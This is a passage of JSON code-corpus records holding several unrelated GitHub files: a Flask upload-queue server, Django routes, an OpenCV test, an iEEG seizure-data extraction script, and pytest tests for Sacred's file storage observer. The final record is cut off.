+{"seq_id":"2664823234","text":"from utako.common_import import *\nfrom utako.model.status import Status\nfrom utako.delegator.song_score import SongScoreSender\n\nclass ScoreUpdater:\n    def __call__(self, batch_size=50):\n        target_mvs = Status.select(Status.id).where(\n            (\n                ( Status.score_status == 1 )\n                | (Status.score_status == None)\n            ) & Status.validity == True,\n        )\n        batch_count = ( ( len(target_mvs) - 1 ) // batch_size ) + 1\n\n        for i in range(batch_count):\n            movie_ids = tuple(map(lambda m: m.id, target_mvs[batch_size*i:batch_size*(i+1)]))\n            SongScoreSender().send(\n                movie_ids=movie_ids\n            )\n\n        return len(target_mvs)","repo_name":"UtakoTuneProj/UtakoServ","sub_path":"utako/presenter/score_updater.py","file_name":"score_updater.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"73172313470","text":"import cv2\nimport numpy as np \n\nimg = cv2.imread(\"rod2.png\")\nimg_re = cv2.resize(img,(10,10))\nimg_re = cv2.cvtColor(img_re,cv2.COLOR_BGR2GRAY)\n\nimg1 = cv2.addWeighted(img_re,0.23,img_re,0.0,0)\nimg2 = img_re * 0.23\n\nprint(img_re)\nprint(img1)\nprint(img2)\n\ncv2.imshow(\"img1\",img1)\ncv2.imshow(\"img2\",img2)\n#cv2.imshow(\"img3\",img3)\ncv2.waitKey(0)","repo_name":"vamsi1961/auv-opencv-tutorials","sub_path":"try2.py","file_name":"try2.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6186899327","text":"#!/usr/bin/env python3\n## Stdlib imports ##\nimport random\nimport os\nimport atexit\nfrom threading import Thread\nfrom time import sleep\nfrom functools import partial\n\n# Want to see a ghetto database? _This_ is a ghetto database\nimport shelve\n\n# For url quoting\nimport urllib\n\n# For request validation\nimport re\n\n## External package imports ##\nfrom flask import Flask, render_template, request, flash, redirect, jsonify\nfrom matplotlib.pyplot import imread\n\n## Local imports ##\nfrom RouterPlacer import RouterPlacer\n\n\ndef process_image(key):\n    \"\"\"This actually processes and moves the image\"\"\"\n    img = imread(f\"uploads/{key}.png\")\n    rp = RouterPlacer(img)\n    rp.get_optimal_solution()\n    rp.solution_plot(save_path=f\"static/results/{key}.png\")\n    os.remove(f\"uploads/{key}.png\")\n\n\ndef process_queue():\n    \"\"\"This function runs in a separate thread and runs through the queue and\n    tries to empty it. We don't have a way to process the image right now,\n    though.\"\"\"\n    while True:\n        # Process and pop in two different transactions, so that things can\n        # happen while processing.\n        with shelve.open(\"wifi\") as db:\n            queue = db[\"queue\"]\n\n        if len(queue) > 0:\n            key = queue[0]\n            process_image(key)\n            with shelve.open(\"wifi\", writeback=True) as db:\n                db[\"queue\"].pop(0)\n        sleep(2)\n\n\ndef randstr(*, length=64):\n    chars = \"abcdefghijklmnopqrstuvwxyz123456789\"\n    return \"\".join(random.choice(chars) for i in range(64))\n\n\n### Init the db\nwith shelve.open(\"wifi\", writeback=True) as db:\n    if \"queue_size\" not in db:\n        db[\"queue_size\"] = 5\n\n    if \"queue\" not in db:\n        db[\"queue\"] = []\n\nflask = Flask(__name__)\n\n# Flask configuration\nflask.secret_key = randstr()\n\n\n@flask.route(\"/waitingroom/<key>\")\ndef waitingroom(key):\n    if not re.search(r\"[a-z0-9]{64}\", key):\n        flash(\"Invalid key\", \"danger\")\n        return redirect(\"/\")\n\n    if key + \".png\" in os.listdir(path=\"static/results\"):\n        if \"json\" in request.args:\n            return jsonify(dict(key=key, done=True))\n        else:\n            return render_template(\"waitingroom.html\", key=key, queue=None)\n\n    with shelve.open(\"wifi\") as db:\n        queue = db[\"queue\"]\n\n        if key not in queue:\n            flash(\"Key not in queue\", \"danger\")\n            return redirect(\"/\")\n\n        queue_size = db[\"queue_size\"]\n        current_position = queue.index(key)\n\n    if \"json\" in request.args:\n        return jsonify(\n            dict(\n                key=key,\n                queue_elements=len(queue),\n                queue_size=queue_size,\n                current_position=current_position,\n                done=False,\n            )\n        )\n    else:\n        return render_template(\n            \"waitingroom.html\",\n            key=key,\n            queue=queue,\n            queue_size=queue_size,\n            current_position=current_position,\n        )\n\n\n@flask.route(\"/\", methods=(\"get\", \"post\"))\ndef index():\n    \"\"\"The index page. Give the client a key to identify them and their\n    progress. Show an upload page\"\"\"\n\n    # Check if we can upload anything\n    with shelve.open(\"wifi\") as db:\n        queue = db[\"queue\"]\n        queue_size = db[\"queue_size\"]\n        queue_full = len(db[\"queue\"]) >= db[\"queue_size\"]\n\n    key = randstr()\n\n    if request.method == \"POST\":\n        # If the request already has a key, keep it\n        if \"key\" in request.form:\n            key = request.form.get(\"key\")\n            if not re.search(r\"[a-z0-9]{64}\", key):\n                flash(\"Ugyldig nøkkel\", \"danger\")\n                return redirect(request.url)\n\n        if queue_full:\n            flash(\"Køen er full\", \"danger\")\n            return redirect(request.url)\n\n        if \"floorPlan\" not in request.files:\n            flash(\"Ingen fil mottatt\", \"danger\")\n            return redirect(request.url)\n\n        file = request.files[\"floorPlan\"]\n        if not file.filename.endswith(\".png\"):\n            flash(\"Feil filtype, bruk png\", \"danger\")\n            return redirect(request.url)\n\n        file.seek(0, os.SEEK_END)\n        max_size = 2\n        if file.tell() > max_size * 10e5:\n            flash(f\"Filen er for stor, mindre enn {max_size}mb, takk\", \"danger\")\n            return redirect(\"/\")\n        file.seek(0)\n\n        fname = os.path.join(\"uploads\", randstr() + \".png\")\n        # Add the file to the queue\n        with shelve.open(\"wifi\", writeback=True) as db:\n            if key in db[\"queue\"]:\n                flash(\"Denne sesjonen prosesserer allerede et bilde\", \"danger\")\n                return redirect(\"/\")\n\n            db[\"queue\"].append(key)\n\n        file.save(f\"uploads/{key}.png\")\n        flash(\"Filen er lagt til i køen\", \"success\")\n        return redirect(\"/waitingroom/\" + key)\n\n    return render_template(\"index.html\", key=key, queue_full=queue_full)\n\n\nif __name__ == \"__main__\":\n    t = Thread(target=process_queue, daemon=True)\n    t.start()\n    flask.run(host=\"0.0.0.0\", port=9001, debug=False, use_reloader=False)\n","repo_name":"kklocker/EiT-WiFi-placer","sub_path":"core/web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72752356030","text":"from django.urls import path\nfrom . import views\n\napp_name = 'blog'\nurlpatterns = [\n    path(\"\", views.lista_posts, name='lista_posts'),\n    path('post/<int:pk>/', views.detalle_post, name='detalle_post'),\n    path('post/nuevo/', views.nuevo_post, name='nuevo_post'),\n    path('post/<int:pk>/editar/', views.editar_post, name='editar_post'),\n    path('post/borrador/', views.lista_borrador_post, name='lista_borrador_post'),\n    path('post/<int:pk>/publicar/', views.publicar_post, name='publicar_post'),\n    path('post/<int:pk>/borrar/', views.borrar_post, name='borrar_post'),\n]","repo_name":"Cristian-Estevez/Nomade-Digital","sub_path":"nomade_digital/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15816749716","text":"initial_health = 100\ndata = input().split('|')\nbest_room = 0\nbitcoins = 0\nfor room in data:\n    command, com = room.split()\n    number = int(com)\n    best_room += 1\n    if command == 'potion':\n        if initial_health + number > 100:\n            need_health = 100 - initial_health\n        else:\n            need_health = number\n        initial_health += need_health\n        print(f\"You healed for {need_health} hp.\")\n        print(f\"Current health: {initial_health} hp.\")\n    elif command == 'chest':\n        bitcoins += number\n        print(f\"You found {number} bitcoins.\")\n    else:\n        if initial_health - number > 0:\n            initial_health -= number\n            print(f\"You slayed {command}.\")\n        else:\n            print(f\"You died! Killed by {command}.\")\n            print(f\"Best room: {best_room}\")\n            exit(0)\n\nprint(f\"You've made it!\")\nprint(f\"Bitcoins: {bitcoins}\")\nprint(f\"Health: {initial_health}\")\n","repo_name":"ostrev/fundamentals_softuni","sub_path":"mid_exam/mu_online.py","file_name":"mu_online.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30527767756","text":"from ieeg.auth import Session\nimport os\nfrom os.path import join as ospj\nimport sys\nimport numpy as np\nimport pandas as pd\nimport json\nimport random\nimport itertools\nfrom ieeg.auth import Session\nfrom scipy.io import loadmat\nfrom scipy import signal\nfrom tqdm import tqdm\n\ndef main():\n\n    # Get current directory\n    code_path = os.getcwd()\n    \n    # Get absolute path from config file\n    with open(ospj(code_path, \"config.json\"), \"rb\") as f:\n        config = json.load(f)\n    repo_path = config[\"repoPath\"]\n    ieeg_username = config[\"iEEG_username\"]\n    data_path = ospj(repo_path, \"source_data\")\n    metadata_path = ospj(data_path, \"metadata\")\n    \n    # Load subject list (contains both RIDs and HUP IDs) and convert to a dictionary\n    subject_list = pd.read_csv(ospj(metadata_path, \"subjects_w_fmri_ieeg.csv\"))\n    subject_dict = dict(zip(subject_list['hup'],subject_list['rid']))\n    \n    # Load metadata file\n    metadata = pd.read_excel(\n            ospj(metadata_path, \"Manual validation.xlsx\"), sheet_name=\"AllSeizureTimes\"\n    ).dropna(how=\"all\")\n    \n    # Load sleep data and convert to data frame\n    sleep_mat = loadmat(ospj(metadata_path, \"sleeptimes.mat\"))['sleepdata']\n    sleep_df = pd.DataFrame({'Patient': np.squeeze(sleep_mat['name']), \n                             'IEEG_file_num': np.squeeze(sleep_mat['file']), \n                             'Times': np.squeeze(sleep_mat['t']), \n                             'Sleep': np.squeeze(sleep_mat['sleep'])})\n    \n    # Define length of preictal window\n    preictal_window = 60  # 60 seconds\n  \n    # Start iEEG session\n    with open(ospj(code_path, \"ieeg_login\", \"ieeglogin.bin\"), \"r\") as f:\n        session = Session(ieeg_username, f.read())\n\n    # Create time windows output directory\n    metadata_out_path = ospj(repo_path, \"outputs\", \"ieeg\", \"time_windows\")\n    try:\n        os.makedirs(metadata_out_path)\n    except FileExistsError:\n        pass\n\n    # Create file headers\n    if not os.path.isfile(ospj(metadata_out_path, 'ictal_time_windows.csv')):\n        with open(ospj(metadata_out_path, \"ictal_time_windows.csv\"),\"a\") as f:\n            f.write(\"Patient,IEEGID,IEEGname,sz,start,end\\n\")\n    if not os.path.isfile(ospj(metadata_out_path, 'preictal_time_windows.csv')):\n        with open(ospj(metadata_out_path, \"preictal_time_windows.csv\"),\"a\") as f:\n            f.write(\"Patient,IEEGID,IEEGname,sz,start,end\\n\")\n    if not os.path.isfile(ospj(metadata_out_path, 'preictal_time_windows_matched.csv')):\n        with open(ospj(metadata_out_path, \"preictal_time_windows_matched.csv\"),\"a\") as f:\n            f.write(\"Patient,IEEGID,IEEGname,sz,start,end\\n\")\n\n    ictal_times = pd.DataFrame(columns = ['Patient', 'IEEGID', 'IEEGname', 'sz', 'start', 'end'])\n    preictal_times = pd.DataFrame(columns = ['Patient', 'IEEGID', 'IEEGname', 'sz', 'start', 'end'])\n    for sub in subject_list['hup']:\n    \n        # Ignore NAs\n        if pd.notnull(sub):\n\n            print('-----------------------------------')\n            print('Subject: ' + sub + ' =', subject_dict[sub])\n            print('-----------------------------------')\n\n            # Extract sleep data for subject\n            sleep_sub = sleep_df[sleep_df[\"Patient\"] == sub]\n    \n            # Check if sleep data is available for subject\n            if len(list(sleep_sub[\"IEEG_file_num\"])) == 0:\n                print('Skipping - No sleep data available for ' + str(sub))\n                continue\n\n            # Skip subjects with missing iEEG recon module 3 outputs\n            if sub in [\"HUP191\",\"HUP201\"]:\n                print('Skipping - No module 3 outputs')\n                continue\n\n            # Define raw signal output directories\n            out_paths = {'ictal': ospj(repo_path, \"outputs\", \"ieeg\", subject_dict[sub], \"raw\", \"ictal\"),\n                         'preictal': ospj(repo_path, \"outputs\", \"ieeg\", subject_dict[sub], \"raw\", \"preictal\")}\n\n            # Create raw signal output directories\n            for out_path in out_paths.values():\n                try:\n                    os.makedirs(out_path)\n                except FileExistsError:\n                    pass\n\n            # Extract metadata for subject\n            sub_metadata = metadata.loc[metadata['Patient'] == sub]\n    \n            ieeg_filename_list = pd.unique(sub_metadata['IEEGname'])\n   \n            # Iterate over iEEG files\n            for filenames in range(len(ieeg_filename_list)):\n    \n                ieeg_filename = ieeg_filename_list[filenames]\n    \n                # For debugging\n                #if 'HUP101' not in ieeg_filename:\n                #    continue\n    \n                # Skip this dataset since its sampling rate was unusually low (256Hz)\n                if 'HUP195_phaseII_D01' in ieeg_filename:\n                    continue\n\n                # Extract sleep data for corresponding iEEG file\n                sleep_file = [item for sublist in list(sleep_sub[\"IEEG_file_num\"])[0] for item in sublist]\n                sleep_file_indices = [i for i, x in enumerate(list(sleep_file)) if x == (filenames+1)]\n                sleep_status = [item for sublist in list(sleep_sub[\"Sleep\"])[0] for item in sublist]\n                sleep_status = [sleep_status[i] for i in sleep_file_indices]\n\n                # Check if sleep data is available for iEEG file\n                if (sum(sleep_status) == 0):\n                    print('Skipping - No sleep data available for ' + str(ieeg_filename))\n                    continue\n    \n                # Open iEEG dataset\n                dataset = session.open_dataset(ieeg_filename)\n    \n                # Extract channel labels, indices, and time series details\n                labels = dataset.get_channel_labels()\n                indices = dataset.get_channel_indices(labels)\n                ts_details = dataset.get_time_series_details(labels[0])\n   \n                # Extract metadata associated with iEEG file\n                file_metadata = sub_metadata.loc[sub_metadata['IEEGname'] == ieeg_filename]\n\n                # Fix incorrect IEEGIDs\n                if 'HUP181_phaseII_D01' in ieeg_filename:\n                    file_metadata.loc[file_metadata['IEEGID'] == 2.0, 'IEEGID'] = 1.0\n                if 'HUP179_phaseII_D02' in ieeg_filename:\n                    file_metadata.loc[file_metadata['IEEGID'] == 1.0, 'IEEGID'] = 2.0\n\n                print('-----------------------------------')\n                print('iEEG dataset name: ' + ieeg_filename)\n                print('-----------------------------------')\n    \n                print('Saving ictal and preictal iEEG data')\n    \n                # Iterate over seizures\n                num_sz = len(file_metadata)\n                for sz in range(num_sz):\n    \n                    print('--Seizure: ' + str(sz+1) + '/' + str(num_sz))\n   \n                    # Check if iEEG data was already successfully pulled\n                    if os.path.exists(out_paths['ictal'] + '/' + subject_dict[sub] + '_ictal_ieeg_id-' + str(filenames+1) + '_sz-' + str(sz+1)  + '.csv') and os.path.exists(out_paths['preictal'] + '/' + subject_dict[sub] + '_preictal_ieeg_id-' + str(filenames+1)  + '_sz-' + str(sz+1)  + '.csv'):\n                        print('------Skipping: Data already pulled')\n                        continue\n\n                    # Skip HUP093_phaseII seizure #3 since preictal raw data is missing\n                    if 'HUP093_phaseII' in ieeg_filename:\n                        if sz == 2:\n                            print('------Skipping: Missing raw preictal data')\n                            continue\n\n                    # Extract seizure metadata\n                    ictal_metadata = file_metadata.iloc[sz,]\n\n                    # Compute seizure duration\n                    ictal_duration = float(ictal_metadata.loc['end']) - float(ictal_metadata.loc['start']) # seconds\n\n                    # Skip seizures missing start/end times or with negative duration\n                    if np.isnan(float(ictal_metadata.loc['end'])) or np.isnan(float(ictal_metadata.loc['start'])) or ictal_duration < 0:\n                        print('----Skipping ' + ieeg_filename + ', Seizure #' + str(sz+1) + ' (Missing or nonsensible start/end time)')\n                        continue\n\n                    ### ICTAL ###\n\n                    # Pull ictal iEEG data\n                    ictal_ieeg = load_full_channels(dataset, ictal_metadata.loc['start'], ictal_duration, ts_details.sample_rate, indices)\n\n                    # Downsample ictal iEEG data to 250Hz\n                    ictal_ieeg_resamp = np.empty(shape=(int(250*ictal_duration), np.shape(ictal_ieeg)[1]))\n                    for i in range(np.shape(ictal_ieeg)[1]):\n                        ictal_ieeg_resamp[:,i] = signal.resample(ictal_ieeg[:,i], num=int(250*ictal_duration))\n\n                    # Print warning if downsampling induced NAs\n                    if np.sum(np.isnan(ictal_ieeg_resamp)) != 0:\n                        print('----WARNING: NAs detected in downsampled ictal signal')\n                        for i in range(0,np.shape(ictal_ieeg_resamp)[1]):\n                            if np.sum(np.isnan(ictal_ieeg_resamp[:,i])) != 0:\n                                print('------ ' + str(np.sum(np.isnan(ictal_ieeg_resamp))) + ' NAs detected after resampling ictal data for channel ' + str(np.array(labels)[i]))\n\n                    # Add header\n                    ictal_ieeg_resamp = np.concatenate([np.array(labels)[:,None].T, ictal_ieeg_resamp], axis=0)\n\n                    # Save ictal iEEG data\n                    np.savetxt(out_paths['ictal'] + '/' + subject_dict[sub] + '_ictal_ieeg_id-' + str(filenames+1) + '_sz-' + str(sz+1)  + '.csv', ictal_ieeg_resamp, delimiter=',', fmt='%s')\n\n                    # Save ictal metadata\n                    ictal_metadata_list = [subject_dict[ictal_metadata.loc['Patient']],\n                                           str(ictal_metadata.loc['IEEGID']),\n                                           ictal_metadata.loc['IEEGname'],\n                                           str(sz+1),\n                                           str(ictal_metadata.loc['start']),\n                                           str(ictal_metadata.loc['end'])]\n                    with open(ospj(metadata_out_path, \"ictal_time_windows.csv\"),\"a\") as f:\n                        f.write(','.join(ictal_metadata_list) + \"\\n\")\n\n                    ### PREICTAL ###\n\n                    # Pull preictal iEEG data\n                    preictal_ieeg = load_full_channels(dataset, ictal_metadata.loc['start']-preictal_window, preictal_window, ts_details.sample_rate, indices)\n\n                    # Downsample preictal iEEG data to 250Hz\n                    preictal_ieeg_resamp = np.empty(shape=(int(250*preictal_window), np.shape(preictal_ieeg)[1]))\n                    for i in range(np.shape(preictal_ieeg)[1]):\n                        preictal_ieeg_resamp[:,i] = signal.resample(preictal_ieeg[:,i], num=int(250*preictal_window))\n\n                    # Print warning if downsampling induced NAs\n                    if np.sum(np.isnan(preictal_ieeg_resamp)) != 0:\n                        print('----WARNING: NAs detected in downsampled preictal signal')\n                        for i in range(np.shape(preictal_ieeg_resamp)[1]):\n                            if np.sum(np.isnan(preictal_ieeg_resamp[:,i])) != 0:\n                                print('------ ' + str(np.sum(np.isnan(preictal_ieeg_resamp))) + ' NAs detected after resampling preictal data for channel ' + str(np.array(labels)[i]))\n\n                    # Add header\n                    preictal_ieeg_resamp = np.concatenate([np.array(labels)[:,None].T, preictal_ieeg_resamp], axis=0)\n\n                    # Save preictal iEEG data\n                    np.savetxt(out_paths['preictal'] + '/' + subject_dict[sub] + '_preictal_ieeg_id-' + str(filenames+1) + '_sz-' + str(sz+1)  + '.csv', preictal_ieeg_resamp, delimiter=',', fmt='%s')\n\n                    # Save preictal metadata\n                    preictal_metadata_list = [subject_dict[ictal_metadata.loc['Patient']],\n                                              str(ictal_metadata.loc['IEEGID']),\n                                              ictal_metadata.loc['IEEGname'],\n                                              str(sz+1),\n                                              str(ictal_metadata.loc['start']-preictal_window),\n                                              str(ictal_metadata.loc['start'])]\n                    with open(ospj(metadata_out_path, \"preictal_time_windows.csv\"),\"a\") as f:\n                        f.write(','.join(preictal_metadata_list) + \"\\n\")\n\n                    ### PREICTAL - DURATION MATCHED WITH ICTAL PERIOD ###\n\n                    # Pull preictal iEEG data\n                    preictal_ieeg_matched = load_full_channels(dataset, ictal_metadata.loc['start']-ictal_duration, ictal_duration, ts_details.sample_rate, indices)\n\n                    # Downsample preictal iEEG data to 250Hz\n                    preictal_ieeg_matched_resamp = np.empty(shape=(int(250*ictal_duration), np.shape(preictal_ieeg_matched)[1]))\n                    for i in range(np.shape(preictal_ieeg_matched)[1]):\n                        preictal_ieeg_matched_resamp[:,i] = signal.resample(preictal_ieeg_matched[:,i], num=int(250*ictal_duration))\n\n                    # Print warning if downsampling induced NAs\n                    if np.sum(np.isnan(preictal_ieeg_matched_resamp)) != 0:\n                        print('----WARNING: NAs detected in downsampled preictal (time-matched) signal')\n                        for i in range(np.shape(preictal_ieeg_matched_resamp)[1]):\n                            if np.sum(np.isnan(preictal_ieeg_matched_resamp[:,i])) != 0:\n                                print('------ ' + str(np.sum(np.isnan(preictal_ieeg_matched_resamp))) + ' NAs detected after resampling preictal (time-matched) data for channel ' + str(np.array(labels)[i]))\n\n                    # Add header\n                    preictal_ieeg_matched_resamp = np.concatenate([np.array(labels)[:,None].T, preictal_ieeg_matched_resamp], axis=0)\n\n                    # Save preictal iEEG data\n                    np.savetxt(out_paths['preictal'] + '/' + subject_dict[sub] + '_preictal_time-matched_ieeg_id-' + str(filenames+1) + '_sz-' + str(sz+1)  + '.csv', preictal_ieeg_matched_resamp, delimiter=',', fmt='%s')\n\n                    # Save preictal metadata\n                    preictal_metadata_matched_list = [subject_dict[ictal_metadata.loc['Patient']],\n                                              str(ictal_metadata.loc['IEEGID']),\n                                              ictal_metadata.loc['IEEGname'],\n                                              str(sz+1),\n                                              str(ictal_metadata.loc['start']-ictal_duration),\n                                              str(ictal_metadata.loc['start'])]\n                    with open(ospj(metadata_out_path, \"preictal_time_windows_matched.csv\"),\"a\") as f:\n                        f.write(','.join(preictal_metadata_matched_list) + \"\\n\")\n\ndef load_full_channels(dataset, start, duration_secs, sampling_rate, chn_idx):\n    \"\"\"\n    Adapted from Brian's Spring 2023 BCI course, HW3\n\n    Loads the entire channel from IEEG.org\n    Input:\n        dataset: the IEEG dataset object\n        start: the start of the time window to load, in seconds\n        duration_secs: the duration of the time window to load, in seconds\n        sampling_rate: the sampling rate of the channel, in Hz\n        chn_idx: the indicies of the m channels you want to load, as an array-like object\n    Returns:\n        [n, m] ndarry of the channels' values.\n    \"\"\"\n\n    # Stores the segments of the channel's data\n    chn_segments = []\n\n    # How many segments do we expect?\n    num_segments = int(np.ceil(duration_secs * sampling_rate / 6e4))\n\n    # Segment start times and the step\n    seg_starts, step = np.linspace(start*1e6, start*1e6 + duration_secs*1e6, num_segments, endpoint=False, retstep=True)\n\n    # Get the segments\n    for seg_start in seg_starts:\n        chn_segments.append(dataset.get_data(seg_start, step, chn_idx))\n\n    # Concatenate the segments vertically\n    return np.vstack(chn_segments)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"marcjaskir/iEEG_fMRI_coupling_epilepsy","sub_path":"01-pull_preictal_ictal_iEEG_data.py","file_name":"01-pull_preictal_ictal_iEEG_data.py","file_ext":"py","file_size_in_byte":16257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1984611005","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport datetime\nimport os\nfrom copy import copy\nimport pytest\nimport json\nfrom pathlib import Path\n\nfrom sacred.observers.file_storage import FileStorageObserver\nfrom sacred.metrics_logger import ScalarMetricLogEntry, linearize_metrics\n\n\nT1 = datetime.datetime(1999, 5, 4, 3, 2, 1, 0)\nT2 = datetime.datetime(1999, 5, 5, 5, 5, 5, 5)\n\n\n@pytest.fixture()\ndef sample_run():\n    exp = {\"name\": \"test_exp\", \"sources\": [], \"doc\": \"\", \"base_dir\": \"/tmp\"}\n    host = {\"hostname\": \"test_host\", \"cpu_count\": 1, \"python_version\": \"3.4\"}\n    config = {\"config\": \"True\", \"foo\": \"bar\", \"answer\": 42}\n    command = \"run\"\n    meta_info = {\"comment\": \"test run\"}\n    return {\n        \"_id\": \"FEDCBA9876543210\",\n        \"ex_info\": exp,\n        \"command\": command,\n        \"host_info\": host,\n        \"start_time\": T1,\n        \"config\": config,\n        \"meta_info\": meta_info,\n    }\n\n\n@pytest.fixture()\ndef dir_obs(tmpdir):\n    basedir = tmpdir.join(\"file_storage\")\n    return basedir, FileStorageObserver(basedir.strpath)\n\n\ndef test_fs_observer_create_does_not_create_basedir(dir_obs):\n    basedir, obs = dir_obs\n    assert not basedir.exists()\n\n\ndef test_fs_observer_queued_event_creates_rundir(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.queued_event(\n        sample_run[\"ex_info\"],\n        sample_run[\"command\"],\n        sample_run[\"host_info\"],\n        datetime.datetime.utcnow(),\n        sample_run[\"config\"],\n        sample_run[\"meta_info\"],\n        sample_run[\"_id\"],\n    )\n\n    assert _id is not None\n    run_dir = basedir.join(str(_id))\n    assert run_dir.exists()\n    config = json.loads(run_dir.join(\"config.json\").read())\n    assert config == sample_run[\"config\"]\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert run == {\n        \"experiment\": sample_run[\"ex_info\"],\n        \"command\": sample_run[\"command\"],\n        \"host\": sample_run[\"host_info\"],\n        \"meta\": sample_run[\"meta_info\"],\n        \"status\": \"QUEUED\",\n    }\n\n\ndef test_fs_observer_started_event_creates_rundir(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    sample_run[\"_id\"] = None\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(str(_id))\n    assert run_dir.exists()\n    assert run_dir.join(\"cout.txt\").exists()\n    config = json.loads(run_dir.join(\"config.json\").read())\n    assert config == sample_run[\"config\"]\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert run == {\n        \"experiment\": sample_run[\"ex_info\"],\n        \"command\": sample_run[\"command\"],\n        \"host\": sample_run[\"host_info\"],\n        \"start_time\": T1.isoformat(),\n        \"heartbeat\": None,\n        \"meta\": sample_run[\"meta_info\"],\n        \"resources\": [],\n        \"artifacts\": [],\n        \"status\": \"RUNNING\",\n    }\n\n\ndef test_fs_observer_started_event_creates_rundir_with_filesystem_delay(\n    dir_obs, sample_run, monkeypatch\n):\n    \"\"\"Assumes listdir doesn't show existing file (e.g. due to caching or delay of network storage)\"\"\"\n    basedir, obs = dir_obs\n    sample_run[\"_id\"] = None\n    _id = obs.started_event(**sample_run)\n    assert _id == \"1\"\n    assert os.listdir(str(basedir)) == [_id]\n    with monkeypatch.context() as m:\n        m.setattr(\"os.listdir\", lambda _: [])\n        assert os.listdir(str(basedir)) == []\n        _id2 = obs.started_event(**sample_run)\n        assert _id2 == \"2\"\n\n\ndef test_fs_observer_started_event_raises_file_exists_error(\n    dir_obs, sample_run, monkeypatch\n):\n    \"\"\"Assumes some problem with the filesystem exists\n    therefore run dir creation should stop after some re-tries\n    \"\"\"\n\n    def mkdir_raises_file_exists(name, mode=0o777):\n        raise FileExistsError(\"File already exists: \" + name)\n\n    basedir, obs = dir_obs\n    sample_run[\"_id\"] = None\n    with monkeypatch.context() as m:\n        m.setattr(\"os.mkdir\", mkdir_raises_file_exists)\n        with pytest.raises(FileExistsError):\n            obs.started_event(**sample_run)\n\n\ndef test_fs_observer_started_event_stores_source(dir_obs, sample_run, tmpfile):\n    basedir, obs = dir_obs\n    sample_run[\"ex_info\"][\"sources\"] = [[tmpfile.name, tmpfile.md5sum]]\n\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    assert run_dir.exists()\n    run = json.loads(run_dir.join(\"run.json\").read())\n    ex_info = copy(run[\"experiment\"])\n    assert ex_info[\"sources\"][0][0] == tmpfile.name\n    source_path = ex_info[\"sources\"][0][1]\n    source = basedir.join(source_path)\n    assert source.exists()\n    assert source.read() == \"import sacred\\n\"\n\n\ndef test_fs_observer_started_event_uses_given_id(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    assert _id == sample_run[\"_id\"]\n    assert basedir.join(_id).exists()\n\n\ndef test_fs_observer_heartbeat_event_updates_run(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n    info = {\"my_info\": [1, 2, 3], \"nr\": 7}\n    obs.heartbeat_event(info=info, captured_out=\"some output\", beat_time=T2, result=17)\n\n    assert run_dir.join(\"cout.txt\").read() == \"some output\"\n    run = json.loads(run_dir.join(\"run.json\").read())\n\n    assert run[\"heartbeat\"] == T2.isoformat()\n    assert run[\"result\"] == 17\n\n    assert run_dir.join(\"info.json\").exists()\n    i = json.loads(run_dir.join(\"info.json\").read())\n    assert info == i\n\n\ndef test_fs_observer_heartbeat_event_multiple_updates_run(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n    info = {\"my_info\": [1, 2, 3], \"nr\": 7}\n\n    captured_outs = [(\"some output %d\\n\" % i) for i in range(10)]\n    beat_times = [(T2 + datetime.timedelta(seconds=i * 10)) for i in range(10)]\n\n    for idx in range(len(beat_times)):\n        expected_captured_output = (\n            \"\\n\".join([x.strip() for x in captured_outs[: (idx + 1)]]) + \"\\n\"\n        )\n        obs.heartbeat_event(\n            info=info,\n            captured_out=expected_captured_output,\n            beat_time=beat_times[idx],\n            result=17,\n        )\n\n        assert run_dir.join(\"cout.txt\").read() == expected_captured_output\n        run = json.loads(run_dir.join(\"run.json\").read())\n\n        assert run[\"heartbeat\"] == beat_times[idx].isoformat()\n        assert run[\"result\"] == 17\n\n        assert run_dir.join(\"info.json\").exists()\n        i = json.loads(run_dir.join(\"info.json\").read())\n        assert info == i\n\n\ndef test_fs_observer_completed_event_updates_run(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    obs.completed_event(stop_time=T2, result=42)\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert run[\"stop_time\"] == T2.isoformat()\n    assert run[\"status\"] == \"COMPLETED\"\n    assert run[\"result\"] == 42\n\n\ndef test_fs_observer_interrupted_event_updates_run(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    obs.interrupted_event(interrupt_time=T2, status=\"CUSTOM_INTERRUPTION\")\n\n    run = json.loads(run_dir.join(\"run.json\").read())\n    assert run[\"stop_time\"] == T2.isoformat()\n    assert run[\"status\"] == \"CUSTOM_INTERRUPTION\"\n\n\ndef test_fs_observer_failed_event_updates_run(dir_obs, sample_run):\n    basedir, obs = dir_obs\n    _id = obs.started_event(**sample_run)\n    run_dir = basedir.join(_id)\n\n    fail_trace = \"lots of errors and\\nso\\non...\"\n    obs.failed_event(fail_time=T2, fail_trace=fail_trace)\n\n    run = 